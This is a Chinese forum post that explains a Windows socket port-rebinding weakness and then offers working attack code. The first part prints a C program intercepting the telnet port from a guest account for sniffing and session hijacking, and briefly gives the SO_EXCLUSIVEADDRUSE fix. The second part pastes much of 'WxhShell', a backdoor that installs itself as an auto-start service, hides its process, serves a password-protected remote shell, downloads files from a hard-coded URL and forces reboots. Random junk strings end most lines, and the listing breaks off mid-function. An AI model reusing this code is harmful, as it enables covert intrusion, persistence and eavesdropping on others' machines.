社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16573阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5v`lCu]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~Je40vO[  
;mGPX~38  
  saddr.sin_family = AF_INET; cq3Z}Cp  
lk R^2P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Of$R+n.  
TiG?r$6v%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {X_I>)Wg  
qHo H h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &N+`O)$  
d+ZXi'  
  这意味着什么?意味着可以进行如下的攻击: ?_p!teb  
9Nx%Sdu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I_N:j,Mx  
R?2HnJh  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4PkKL/E  
BSJS4+,E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^SsnCn-e  
x ju*zmu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gX(Xj@=(&  
kg7 bZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  '.>y'=  
gN7 3)uJ0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )54a' Hp  
kUT^o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YU)%-V\  
i3d 2+N`  
  #include 0w< ilJ  
  #include sX3qrRY  
  #include I3'UrKKO  
  #include    ZitmvcMk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~ISY( &  
  int main() ZH>i2|W<  
  { T\= #y  
  WORD wVersionRequested; Zs-lN*u7.  
  DWORD ret; ""|;5kJS4  
  WSADATA wsaData; lFSvHs5  
  BOOL val; G!G:YVWXP  
  SOCKADDR_IN saddr; :2/ jI:L~  
  SOCKADDR_IN scaddr; ~Lg ;7i1L  
  int err; EE`[J0 (  
  SOCKET s; uqa pj("  
  SOCKET sc; BIew\N  
  int caddsize; V}7)>i$A  
  HANDLE mt; iVf7;M8O  
  DWORD tid;   t.VVE:A^%  
  wVersionRequested = MAKEWORD( 2, 2 ); ])%UZM6  
  err = WSAStartup( wVersionRequested, &wsaData ); h|`R[  
  if ( err != 0 ) { 0E,QOF{o  
  printf("error!WSAStartup failed!\n"); =PNkzFUo  
  return -1; l?V#;  
  } #b:YY^{g_  
  saddr.sin_family = AF_INET; gu~R4 @3  
   B.;@i;7L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x*=m'IM[  
@ uN+]e+3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "USzk7=&.  
  saddr.sin_port = htons(23); %6Vb1?x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kzNRRs\e  
  { jvD_{r  
  printf("error!socket failed!\n"); R#8cOmZ  
  return -1; 7 b(  
  } %|^,Q -i,  
  val = TRUE; ?9!9lSH6%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v6[VdWOx5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fo`R=|L[  
  { , /jHhKW  
  printf("error!setsockopt failed!\n"); /"m#mh L  
  return -1; ?z6K/'?  
  } |cp_V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a#[gNT~[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BafNF Pc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }|N88PN  
"!7Hu7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) L+T7Ge q  
  { "L1LL iS  
  ret=GetLastError(); ?TIi0;h  
  printf("error!bind failed!\n"); 55UPd#E'  
  return -1; K :+q9;g  
  } #w\x-i|  
  listen(s,2); >9i>A:  
  while(1) 7ncR2-{g  
  { }LQV2 hKTG  
  caddsize = sizeof(scaddr); &)JoB  
  //接受连接请求 vWrTB   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?EPHq, E  
  if(sc!=INVALID_SOCKET) m\/)m]wR  
  { YWDgRb  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PYs0w6o  
  if(mt==NULL) m_Z(osoE#W  
  { h&v].l  
  printf("Thread Creat Failed!\n"); 2_o\Wor#  
  break; 9) $[W  
  } X&5N 89  
  } Q=vo5)t   
  CloseHandle(mt); br 3-.g  
  } &DHIYj1 i  
  closesocket(s); P2iuB|B@  
  WSACleanup(); P$N5j~*  
  return 0; /-m)  
  }   c;-N RvVb  
  DWORD WINAPI ClientThread(LPVOID lpParam) FwHqID_!:l  
  { "lC>_A  
  SOCKET ss = (SOCKET)lpParam; "Ms{c=XPK  
  SOCKET sc; j)@{_tv6;  
  unsigned char buf[4096]; ;;XY&J  
  SOCKADDR_IN saddr; bwP@}(K  
  long num; [cZ/)tm  
  DWORD val; OpU9:^ r  
  DWORD ret; s'l|Ii  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \w1',"l`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !wfUD2 K1  
  saddr.sin_family = AF_INET; .f;@O qU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u*uHdV5  
  saddr.sin_port = htons(23); =_g#I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i ps)-1  
  { p[At0Gc L  
  printf("error!socket failed!\n"); V EsM  
  return -1; Dd/]?4  
  } 9n_Rk W5g  
  val = 100; h05FR[</  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =ud~  
  { >+.GBf<E  
  ret = GetLastError(); Uam %u  
  return -1; 3PL0bejaT7  
  } }lhk;#r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }Y!s:w#  
  { xN}f?  
  ret = GetLastError(); F1B/cd  
  return -1; u>agVB4\F  
  } 8\:>;XG6f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7t}s5}Z 4  
  { Ygkf}n  
  printf("error!socket connect failed!\n"); ?1 Vx)j>|  
  closesocket(sc); T"C.>G'[B  
  closesocket(ss); gGBRfq>  
  return -1; aK|  
  } #Yp&yi }  
  while(1) +opym!\  
  { hJSWh5]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -b8SaLak  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VYh/ URU>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $3&XM  
  num = recv(ss,buf,4096,0); d7QUg 6=  
  if(num>0) @(E6P;+{  
  send(sc,buf,num,0); &2 *  
  else if(num==0) @"/H er  
  break; '73}{" '  
  num = recv(sc,buf,4096,0); t]]Ig  
  if(num>0) !v9`oL26  
  send(ss,buf,num,0); $^czqA-&  
  else if(num==0) wxj}k7_(`A  
  break; QfPw50N;  
  } L\c3D|  
  closesocket(ss); mJ5%+.V  
  closesocket(sc); SAf)#HXa  
  return 0 ; /n>vPJvz  
  } G973n  
*14:^neoI  
#D JZ42  
========================================================== T<Qa`|5 >  
v''J@F7  
下边附上一个代码,,WXhSHELL {YrA [9  
i!3*)-a\~`  
========================================================== oAB:H \  
`nEqw/I  
#include "stdafx.h" r)Zk-!1  
./0wt+  
#include <stdio.h> AS~!YR  
#include <string.h> .H qJ)OH  
#include <windows.h> <ME>#,  
#include <winsock2.h> BzWkZAX  
#include <winsvc.h> ?2,D-3 {  
#include <urlmon.h> 0o6o<ggi  
Jc]66   
#pragma comment (lib, "Ws2_32.lib") LN<rBF[_:f  
#pragma comment (lib, "urlmon.lib") {r|RH"|?Z(  
ycOnPTh  
#define MAX_USER   100 // 最大客户端连接数 #<sK3PT  
#define BUF_SOCK   200 // sock buffer !T ,=kh  
#define KEY_BUFF   255 // 输入 buffer nec}grA  
Z0y~%[1X  
#define REBOOT     0   // 重启 g=qaq  
#define SHUTDOWN   1   // 关机 /iQh'rp  
0CXXCa7!  
#define DEF_PORT   5000 // 监听端口 `r3 klL,W'  
bXXX-Xc  
#define REG_LEN     16   // 注册表键长度 gYk5}E-  
#define SVC_LEN     80   // NT服务名长度 6o9&FU  
R;A8y  
// 从dll定义API ?P>4H0@I+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dvZlkMm   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k2,`W2] ^E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,mi7WW9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mk973 'K'  
9h)8Mq+M  
// wxhshell配置信息 F!/-2u5gF  
struct WSCFG { *HGhm04F{  
  int ws_port;         // 监听端口 v+79#qWK|n  
  char ws_passstr[REG_LEN]; // 口令 yuJ>xsM  
  int ws_autoins;       // 安装标记, 1=yes 0=no ' ;nG4+K  
  char ws_regname[REG_LEN]; // 注册表键名 o.Y6(o  
  char ws_svcname[REG_LEN]; // 服务名 CH| cK8q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5M5vxJ)Lh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8+".r2*_iO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fB,eeT1v?h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $ywROa]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9b,0_IMHH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8tna<Hx  
/7p(%vr  
}; 41+WIa L  
&V+KM"Ow  
// default Wxhshell configuration X%(NI(+x,  
struct WSCFG wscfg={DEF_PORT, Ej6ho0_  
    "xuhuanlingzhe", GJ2ZK=/  
    1, /'_<~A  
    "Wxhshell", (pP.*`JRv  
    "Wxhshell", m8R=wb :  
            "WxhShell Service", j)YX=r;xM  
    "Wrsky Windows CmdShell Service", "_dg$j`Y&&  
    "Please Input Your Password: ", y^nT G  
  1, >BK/HuS  
  "http://www.wrsky.com/wxhshell.exe", wqV"fZA\]  
  "Wxhshell.exe" GXQ%lQ  
    }; JhTr{8{  
|_7k*:#q:  
// 消息定义模块 .7LQ l ?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d]^m^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _~C1M&b(X3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *!*%~h8V  
char *msg_ws_ext="\n\rExit."; XE2rx2k  
char *msg_ws_end="\n\rQuit."; .oTS7rYw  
char *msg_ws_boot="\n\rReboot..."; t)?K@{ 9  
char *msg_ws_poff="\n\rShutdown..."; Y`4 LMK[]  
char *msg_ws_down="\n\rSave to "; J=: \b  
Q^3{L\6_  
char *msg_ws_err="\n\rErr!"; y0&vsoT  
char *msg_ws_ok="\n\rOK!"; -vY5h%7kf  
t?PqfVSq  
char ExeFile[MAX_PATH]; ScD E)r  
int nUser = 0; =>evkaj  
HANDLE handles[MAX_USER]; mXS]SE  
int OsIsNt; 6oZHSjC*  
]o0]i<:  
SERVICE_STATUS       serviceStatus; WvfM.D!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g"kI1^[nj  
tu* uQ:Ipk  
// 函数声明 }' Y)"8AIA  
int Install(void); v'Ehr**]+  
int Uninstall(void); e?B}^Dk0i  
int DownloadFile(char *sURL, SOCKET wsh); C8T0=o/-`  
int Boot(int flag); p8@&(+z  
void HideProc(void); FkuD Gg~a  
int GetOsVer(void); >qr/1mW  
int Wxhshell(SOCKET wsl); mf{M-(6'  
void TalkWithClient(void *cs); ='4)E6ea?  
int CmdShell(SOCKET sock); /EP zT7  
int StartFromService(void); qz3 Z'  
int StartWxhshell(LPSTR lpCmdLine); chKEGosbF  
"p|.[d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _O'!C!K6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); { gs$pBu  
f8N* [by  
// 数据结构和表定义 xL i3|^q  
SERVICE_TABLE_ENTRY DispatchTable[] = p8)R#QWz9  
{ oaPWeM+  
{wscfg.ws_svcname, NTServiceMain}, #ley3rJW]  
{NULL, NULL} lz<' L. .  
}; v7KBYN  
{7]maOg>7J  
// 自我安装 *) T"-}F  
int Install(void) v@q&B|0  
{ .|hsn6i/-  
  char svExeFile[MAX_PATH]; |3T2}ohrr  
  HKEY key; [+R_3'aK  
  strcpy(svExeFile,ExeFile); X;UEq]kcmn  
 8 zlvzp  
// 如果是win9x系统,修改注册表设为自启动 G7v<Q,s  
if(!OsIsNt) { iDl#foXa`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yk?q\1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B&B:P  
  RegCloseKey(key); DQP!e6Of  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W SxoGly  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Do\j_  
  RegCloseKey(key); .Tq8Qdl  
  return 0; MusUgBQy  
    } kV T |(Y  
  } YG:^gi  
} (Sgsy^|N  
else { tD}-&"REP  
0!ZaR 6  
// 如果是NT以上系统,安装为系统服务 `O0Qtq.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n^l*oEl  
if (schSCManager!=0) 6m(? (6+;K  
{ 8M,@Mb n  
  SC_HANDLE schService = CreateService )R'%SLw  
  ( bfZt<-  
  schSCManager, ~]d9 J  
  wscfg.ws_svcname, JA9NTu(  
  wscfg.ws_svcdisp, k+P3z&e  
  SERVICE_ALL_ACCESS, (hZNWQ0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s5mJ -  
  SERVICE_AUTO_START, 3F!)7  
  SERVICE_ERROR_NORMAL, *c/V('D/  
  svExeFile, ,tg]Gt  
  NULL, $MwBt  
  NULL, \< T7EV.  
  NULL, H? Q--pG8  
  NULL, hE`d@  
  NULL UF-'(  
  ); ]a&riPh"  
  if (schService!=0) zx2`0%Q  
  { '/6f2[%Y"  
  CloseServiceHandle(schService); &I8DK).M+  
  CloseServiceHandle(schSCManager); Wex2Fd?DO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w6X:39d  
  strcat(svExeFile,wscfg.ws_svcname); 4^:dmeMZ`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -.M J3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AA=rjB9  
  RegCloseKey(key); hHVAN3e  
  return 0; E#8|h(  
    } /j$pV  
  } Al8Dw)uG{  
  CloseServiceHandle(schSCManager); $ ~%Y}Xt*  
} F {L#  
} y }R2ZO  
hFr+K1  
return 1; Ij.mLO]  
} IZLCwaW  
xZ`vcS(  
// 自我卸载 bCC &5b  
int Uninstall(void) >yP> ]r+  
{ 9e>2kd  
  HKEY key; O|=?!|`o  
@d|Sv1d%  
if(!OsIsNt) { uE(5q!/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C(B"@   
  RegDeleteValue(key,wscfg.ws_regname); Q$]1juqg  
  RegCloseKey(key); GBRiU &D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t g-(e=S4P  
  RegDeleteValue(key,wscfg.ws_regname); DBcR1c&<H  
  RegCloseKey(key); ;^0ok'P\~9  
  return 0; 047PlS  
  } kJOZ;X=9/  
} m,q)lbRl  
} `fX\pOk~e  
else { y_q1Y70i2r  
2W_[|.;'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BCz4 s{F  
if (schSCManager!=0) er1X Z  
{ JLoE)\Mi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R[v<mo[s  
  if (schService!=0) L&:A59)1k  
  { 0Qvr g+  
  if(DeleteService(schService)!=0) { $E^sA|KcT  
  CloseServiceHandle(schService); c1+z(NQ3  
  CloseServiceHandle(schSCManager); iiJT%Zq`#  
  return 0; P{`fav  
  } l$c/!V[3  
  CloseServiceHandle(schService); iWr #H  
  } /c-k{5mH%  
  CloseServiceHandle(schSCManager); L?0IUGY  
} \eQPv kx2  
} Ph.RWy")  
S[/udA   
return 1; %'e$N9zd  
} 2|RoN)%  
x$TL j  
// 从指定url下载文件 wG)[Ik6:  
int DownloadFile(char *sURL, SOCKET wsh) mdrqX<x'~  
{ uTrzC+\aU  
  HRESULT hr; }{:}K<  
char seps[]= "/"; /`aPV"$M  
char *token; Lwf[*n d  
char *file; '" &*7)+g*  
char myURL[MAX_PATH]; "oZ_1qi<  
char myFILE[MAX_PATH]; <^{(?*  
Nr,I`x\N  
strcpy(myURL,sURL); GtIAsC03  
  token=strtok(myURL,seps); )y:))\>  
  while(token!=NULL) R N@)nc_  
  { !qlk-0&`  
    file=token; M3]eqxLC  
  token=strtok(NULL,seps); bVN?7D(  
  } _]Ob)RUVH  
qyKR]%yzi  
GetCurrentDirectory(MAX_PATH,myFILE); =+DhLH}8  
strcat(myFILE, "\\"); P2s\f;Dwr  
strcat(myFILE, file); mA,{E-T  
  send(wsh,myFILE,strlen(myFILE),0); f8r7 SFwUv  
send(wsh,"...",3,0); BLqK5~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <^KW7M}w*c  
  if(hr==S_OK) @RuMo"js  
return 0; AOcUr)  
else P()W\+",n  
return 1; I D-I<Ev  
hDUU_.q)D  
} Y|hd!C-x  
E U RKzJk  
// 系统电源模块 -p7 HQ/  
int Boot(int flag) 3&M0@/  
{ oPbziB8  
  HANDLE hToken; |)%H_TXTy  
  TOKEN_PRIVILEGES tkp; 46\!W(O~y  
'4~I %Z7L  
  if(OsIsNt) { a"g\f{v0AR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zn^ G V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Rh ]XJM  
    tkp.PrivilegeCount = 1; gPd ,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if\`M'3Xx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ){,M v:#+T  
if(flag==REBOOT) { w}$;2g0=a<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FrLv%tK|  
  return 0; UEYJd&n0CB  
} C;U4`0=8  
else { 3syA$0TZt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a;~< iB;3"  
  return 0; /#eS3`48  
} "66#F  
  } J[S!<\_!  
  else { r #w7qEtD  
if(flag==REBOOT) { Z]k@pR !  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $1zWQJd[-  
  return 0; !SGRK01  
} x=x%F;  
else { +s`cXTlFrk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T4ugG?B*  
  return 0; c3PA<q[  
} <)sL8G9Y  
} *(]ZdB_2  
`}$bJCSF.n  
return 1; oGg<s3;UND  
} ]E DC s?,  
L 9cXgd  
// win9x进程隐藏模块 mC0Dj O  
void HideProc(void) i=P}i8,^ =  
{ THK^u+~LM  
*a{WJbau]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /!p}H'jl  
  if ( hKernel != NULL ) pSYEC,0B  
  { fN<Y3^i"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N0\<B-8+,>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b^}U^2S%  
    FreeLibrary(hKernel); JlRNJ#h>  
  } -3b_}by  
$cm 9xW&  
return; F1M:"-bda  
} .We{W{  
c_.Fe'E  
// 获取操作系统版本  i?eVi  
int GetOsVer(void) mC(YO y  
{ ]\}MSo3  
  OSVERSIONINFO winfo; A =&`TfXu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (q}Li rR  
  GetVersionEx(&winfo); }:J-o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eC6wrpZO  
  return 1; pY\ =f0]  
  else *1_Ef).  
  return 0; ,zK E$  
} @" umY-1f  
,69547#o  
// 客户端句柄模块 Q+QD ,  
int Wxhshell(SOCKET wsl) @*UV|$~(Q  
{ 08%Bx~88_%  
  SOCKET wsh; K,U8vc  
  struct sockaddr_in client; 37jrWe6xwp  
  DWORD myID; })J}7@VPO  
#Oq.}x?i  
  while(nUser<MAX_USER)  |*-<G3@  
{ GWWaH+F[h  
  int nSize=sizeof(client); H(M{hfa|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m"'`$/_  
  if(wsh==INVALID_SOCKET) return 1; +~y>22Zfg  
,LmP >Q.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~0?B  
if(handles[nUser]==0) 6mIK[Qnp  
  closesocket(wsh); PqF&[M<)  
else /J&DYxl":  
  nUser++; dq'f >S z}  
  } ;mwnAO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %p&y/^=0I  
zf^|H% ~^  
  return 0; /Ah&d@b  
} ^kz(/c/?  
L$kB(Brw  
// 关闭 socket SZR`uS  
void CloseIt(SOCKET wsh) ###>0(n  
{ 9ZY,T]ym?  
closesocket(wsh); M#m;jJqON  
nUser--; N0NFgW;  
ExitThread(0); YB2gxZ  
} x#R6Ez7  
?0+g.,9  
// 客户端请求句柄 e :C4f  
void TalkWithClient(void *cs) nf1 `)tXG  
{ 6Q_A-X3hk  
ev_'.t'  
  SOCKET wsh=(SOCKET)cs; Q[|*P ] w  
  char pwd[SVC_LEN]; H3ovF  
  char cmd[KEY_BUFF]; $p$p C/:%  
char chr[1]; iJmzVR+  
int i,j; fz2}M:u  
E\;%,19Ob  
  while (nUser < MAX_USER) { *0Fz." v  
_u~0t`f~  
if(wscfg.ws_passstr) { 've[Mx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8~TKiR5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ReA-.j_2@  
  //ZeroMemory(pwd,KEY_BUFF); Vi}E9I4  
      i=0; 4fjwC,,  
  while(i<SVC_LEN) { X:g#&e_  
'V&Uh]>  
  // 设置超时 x',6VTz^  
  fd_set FdRead; &`tAQN*Z  
  struct timeval TimeOut; 4udj"-V  
  FD_ZERO(&FdRead); S'hUh'PZ  
  FD_SET(wsh,&FdRead); *yjnC  
  TimeOut.tv_sec=8; J1~E*t^  
  TimeOut.tv_usec=0; f:J-X~T_f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #Q*V9kvU/H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qc\D=3 #Yp  
O7uCTB+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uI%7jA~@  
  pwd=chr[0]; BHZhdm@),  
  if(chr[0]==0xd || chr[0]==0xa) { ;YW@ 3F-h  
  pwd=0; VYO1qj  
  break; <yBa5m@/  
  } j:/Z_v'  
  i++; g%!U7CM6h  
    } fBv: TC%  
[ K'gvLt1  
  // 如果是非法用户,关闭 socket k6RVP: V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P+OS  
} .uxM&|0H  
VfP\)Rl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &/"a E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > TBXT+  
FOMJRq  
while(1) { vZ.<OD4  
< *;GJ{  
  ZeroMemory(cmd,KEY_BUFF); jvL!pEC!  
9n;6zVV%`  
      // 自动支持客户端 telnet标准   5$cjCjY  
  j=0; w-LENdw  
  while(j<KEY_BUFF) { :2,NKdD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h0g?=hJq  
  cmd[j]=chr[0]; /S1/ZI  
  if(chr[0]==0xa || chr[0]==0xd) { Qx8(w"k*  
  cmd[j]=0; CS(2bj^6 D  
  break; p:W]  
  } .jk A'i@  
  j++; &);P|v`8  
    } kV4Oq.E  
3JBXGT0gJ  
  // 下载文件 6ST(=X_C  
  if(strstr(cmd,"http://")) { nhjT2Sl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !jSgpIp  
  if(DownloadFile(cmd,wsh)) ()O&O+R|)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \]5I atli  
  else /sT?p=[.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ctLNzJes%  
  } f% )9!qeW  
  else { `&OX|mL^w  
b:p0@|y  
    switch(cmd[0]) { -GHd]7n  
  {+E]c:{  
  // 帮助 JTm'fo[  
  case '?': { c"Vp5lo0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ro"'f7(v.  
    break; PoPR34] ^J  
  } jlU6keZh`  
  // 安装 vB{i w}Hi!  
  case 'i': { OWT%XUW=  
    if(Install()) ^7YNM<_%@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Se$N6u-  
    else fi`\e W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (tg9"C  
    break; <p*k-mfr  
    } 7*K UM6z  
  // 卸载 =r7!QXPH}  
  case 'r': { :/$WeAg  
    if(Uninstall()) `?3f76}h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ThI}~$Y  
    else 9 i/ (  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )E>yoUhN  
    break; Mb 4"bDBsl  
    } jHn7H)F8  
  // 显示 wxhshell 所在路径 %]DA4W  
  case 'p': { =&$z Nc4h  
    char svExeFile[MAX_PATH]; c3g`k"3*`  
    strcpy(svExeFile,"\n\r"); ?Y,^Moc:  
      strcat(svExeFile,ExeFile); 'xx M0Kn`  
        send(wsh,svExeFile,strlen(svExeFile),0); Z_m<x!  
    break; YI,t{Wy  
    } 62zu;p9m  
  // 重启 m} s.a.x  
  case 'b': { Rk3 bZvj3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AguE)I&m  
    if(Boot(REBOOT)) 9,`i[Dzp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rVoV@,P  
    else { T>rmm7F  
    closesocket(wsh); V@#oQi*  
    ExitThread(0); PDuBf&/e  
    } % _E?3  
    break; ~o"=4q`>  
